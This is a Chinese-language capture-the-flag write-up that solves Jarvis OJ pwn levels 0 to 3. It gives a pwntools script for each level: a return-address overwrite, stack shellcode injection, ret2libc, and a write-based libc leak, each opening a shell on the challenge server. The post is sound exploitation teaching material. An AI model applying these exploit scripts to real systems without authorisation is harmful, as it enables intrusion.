美文网首页
Jarvis OJ---level0~3

Jarvis OJ---level0~3

作者: yahoo0o0 | 来源:发表于2017-09-11 11:21 被阅读0次
    level0
    

    用64位IDA打开之后,function函数之中的read函数存在栈溢出漏洞,栈空间大小只有0x88,而读取的数据是0x200,而且本程序之中直接调用了callsystem函数,所以我们可以直接利用栈溢出,用hijack的方法,用数据覆盖栈,直接返回到callsystem函数之中。

    from pwn import *
    from time import *
    debug = False
    local = False
    x86 = True
    if debug:
        context.log_level = 'debug'
    else:
        context.log_level = 'info'
    if x86:
        libc = ELF('/lib32/libc.so.6')
    else:
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    if local:
        p = process('./level0')
    else:
        p = remote('pwn2.jarvisoj.com',9881)
    
    callsystem = 0x0400596
    payload = 'a'*(0x80+8) + p64(callsystem)
    p.recvuntil('Hello, World\n')
    p.sendline(payload)
    p.interactive()
    
    level1
    

    同样是一个简单的栈溢出,不同的是这次程序在运行的过程之中会打印出buf的地址,我们查看防护机制之后发现没有开启NX,所以我们可以直接在buf区中插入一段shellcode,然后利用shellcode来打开服务器的shell。

    from pwn import *
    from time import *
    debug = False
    local = False
    x86 = True
    if debug:
        context.log_level = 'debug'
    else:
        context.log_level = 'info'
    if x86:
        libc = ELF('/lib32/libc.so.6')
    else:
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    if local:
        p = process('./level1')
    else:
        p = remote('pwn2.jarvisoj.com',9877)
    
    p.recvuntil("What's this:")
    leak = int(p.recv(10),16)
    shellcode = asm(shellcraft.sh())
    payload = shellcode + (0x88-len(shellcode))*'a' + 'bbbb' +p32(leak)
    p.sendline(payload)
    p.interactive()
    
    level2
    

    开启了NX之后,就没有办法直接插入shellcode来执行了,但是我们可以看到程序调用了system函数,所以我们可以通过return2libc来绕过NX,直接传入binsh参数来打开shell

    from pwn import *
    from time import *
    debug = False
    local = False
    x86 = True
    if debug:
        context.log_level = 'debug'
    else:
        context.log_level = 'info'
    if x86:
        libc = ELF('/lib32/libc.so.6')
    else:
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    if local:
        p = process('./level1')
    else:
        p = remote('pwn2.jarvisoj.com',9878)
    
    system = 0x08048320
    binsh = 0x0804A024
    p.recvuntil("Input:\n")
    payload = 'a'*(0x88+4) + p32(system) + 'bbbb' + p32(binsh)
    p.sendline(payload)
    p.interactive()
    
    level3
    

    level3之中没有直接调用system函数,这就上升了一个难度,我们需要打开shell,就需要调用系统级的函数system(“bin/sh”),而要调用system,我们就需要获取他的地址,level3之中附带了一个libc库,函数之中也调用了write函数和read函数,所以我们可以直接通过write函数来泄露system函数的地址,利用libc库,从而得到flag

    from pwn import *
    debug = False
    local = False
    x86 = True
    if debug:
        context.log_level = 'debug'
    else:
        context.log_level = 'info'
    if x86:
        libc = ELF('libc-2.19.so')
    else:
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    if local:
        p = process('./level3')
    else:
        p = remote('pwn2.jarvisoj.com',9879)
    
    write_got = 0x0804A018
    write_plt = 0x08048340
    start = 0x08048350
    payload = (0x88+4)*'a' + p32(write_plt) + p32(start) + p32(1) + p32(write_got) + p32(4)
    p.recvuntil(":\n")
    p.sendline(payload)
    leak = u32(p.recv(4))
    libc_base = leak - libc.symbols['write']
    system = libc_base + libc.symbols['system']
    binsh = libc_base + next(libc.search('/bin/sh'))
    payload = (0x88+4)*'a' + p32(system) + p32(0xdeadbeef) + p32(binsh)
    p.recvuntil(":\n")
    p.sendline(payload)
    p.interactive()
    

    相关文章

      网友评论

          本文标题:Jarvis OJ---level0~3

          本文链接:https://www.haomeiwen.com/subject/llixsxtx.html